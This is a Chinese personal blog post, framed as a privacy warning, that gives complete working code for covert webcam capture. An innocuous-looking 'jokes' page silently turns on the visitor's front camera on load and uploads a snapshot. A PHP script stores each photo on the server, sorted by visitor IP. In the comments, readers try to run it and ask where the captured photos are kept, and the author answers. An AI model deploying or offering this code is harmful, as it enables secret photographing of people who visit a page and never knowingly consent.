• 难啊难!要钱难!
  • 更新到WordPress5.6啦
  • 有点伤心了,今年净遇到王某海这种人.
  • 难啊难...
  • 七牛的JS SDK 的文档真坑啊.
  • 蓝奏云分享部分地区无法访问需手动修改www.lanzous.com变为:www.lanzoux.com
  • 好气啊~原来使用的CDN服务商莫名其妙的给我服务取消了~
  • 遇见一个沙雕汽车人.
  • 换了证书看看测试一下效果~
  • 煞笔!啥时候开工资?

注意隐私:JS代码,开启前摄像头拍照并上传到服务器!

WEB前端 KIENG 5个月前 (04-16) 23432次浏览 已收录 8个吐槽 扫描二维码

在访问某些网站的时候一定要注意隐私,前段时间我访问某云的网站,竟然提示我请求摄像头权限???

原来是这个屌网站在开启我的前置摄像头拍照并上传到他的服务器里面!是真的恶心.靠! :mad:

代码大概如下:

index.html

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta name="" content="content">
	<title>小笑话</title>
</head>
<body>

	<canvas id="canvas" style="display: none;" width="480" height="640"></canvas>

	<video id="video" style="display: none;width: 250px;height: 300px;"></video>

	<script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
	<script>
		window.addEventListener("DOMContentLoaded",function(){
			var canvas = document.getElementById('canvas');
			var context =canvas.getContext('2d');
			var video = document.getElementById('video');
			if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
				navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
					video.srcObject = stream;
					video.play();
					setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);
					setTimeout(function(){
						var img = canvas.toDataURL('image/png');
						$.post('/s.php',{'imegse':img},function(data){
						//根据后端判断接下来的操作
						})
					} ,1300)

				},function(){
					alert('缺少访问权限');
					location.reload();
				})

			}
		},false);
	</script>
</body>
</html>

s.php

<?php
//允许跨域
header("Access-Control-Allow-Origin:*");
echo base64();
function base64()
{
    //接收 base64 数据
    $image = $_POST['imegse'];
    if (empty($image)) {
        return null;
    }
    //设置图片名称
    $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';
    //判断是否有逗号 如果有就截取后半部分
    if (strstr($image, ",")) {
        $image = explode(',', $image);
        $image = $image[1];
    }
    //设置图片保存路径
    $path = "./" . getIp() . '/' . date("Ymd", time());
    //判断目录是否存在 不存在就创建
    if (!is_dir($path)) {
        mkdir($path, 0777, true);
    }
    //图片路径
    $imageSrc = $path . "/" . $imageName;
    //生成文件夹和图片
    $r = file_put_contents($imageSrc, base64_decode($image));
    if (!$r) {
        return 0;
    } else {
        return 1;
    }
}
function getIp()
{
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

只要用户访问这个页面并授权了摄像头权限就会根据 IP 分类存储当时拍到的前置摄像头的照片到服务器内.

IOS 端会提示权限.

Android 端部分会提示,部分不会...

这东西是很久以前的东西了... 哎现在的大数据让人恶心啊...

仔细想想真是阔怕~ ;)


KIENG , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA 4.0协议进行授权
转载请注明出处:注意隐私:JS 代码,开启前摄像头拍照并上传到服务器!
本文章链接:https://blog.kieng.cn/2811.html
喜欢 (30)
KIENG
关于作者:
一个热衷网络的Man
发表我的评论
取消评论
表情 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 快速获取昵称
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(8)个小伙伴在吐槽
  1. 我试了下,怎么没有上传图片
    一生2021-04-17 09:59 回复 Windows 10 | Chrome 78.0.3904.108
    • KIENG
      我测试正常啊..应该是你的环境有问题
      KIENG2021-05-03 12:08 回复 Windows 10 | Chrome 90.0.4430.93
  2. 怎么查看保存的图片在哪啊
    持伞戏诸君2021-04-20 09:50 回复 Windows 10 | Chrome 86.0.4240.198
  3. 怎么查看保存的照片
    持伞戏诸君2021-04-20 09:54 回复 Windows 10 | Chrome 86.0.4240.198
    • KIENG
      服务器里面啊
      KIENG2021-05-03 12:08 回复 Windows 10 | Chrome 90.0.4430.93
  4. 试了试不好使
    China小栋2021-04-22 10:57 回复 Windows 10 | Chrome 90.0.4430.72
  5. nginx+php7.4不行
    test2021-05-10 21:08 回复 Mac OS X | Chrome 90.0.4430.93
  6. 怎么查看保存的照片
    神秘人262021-05-27 18:43 回复 Windows 10 | Chrome 91.0.4472.77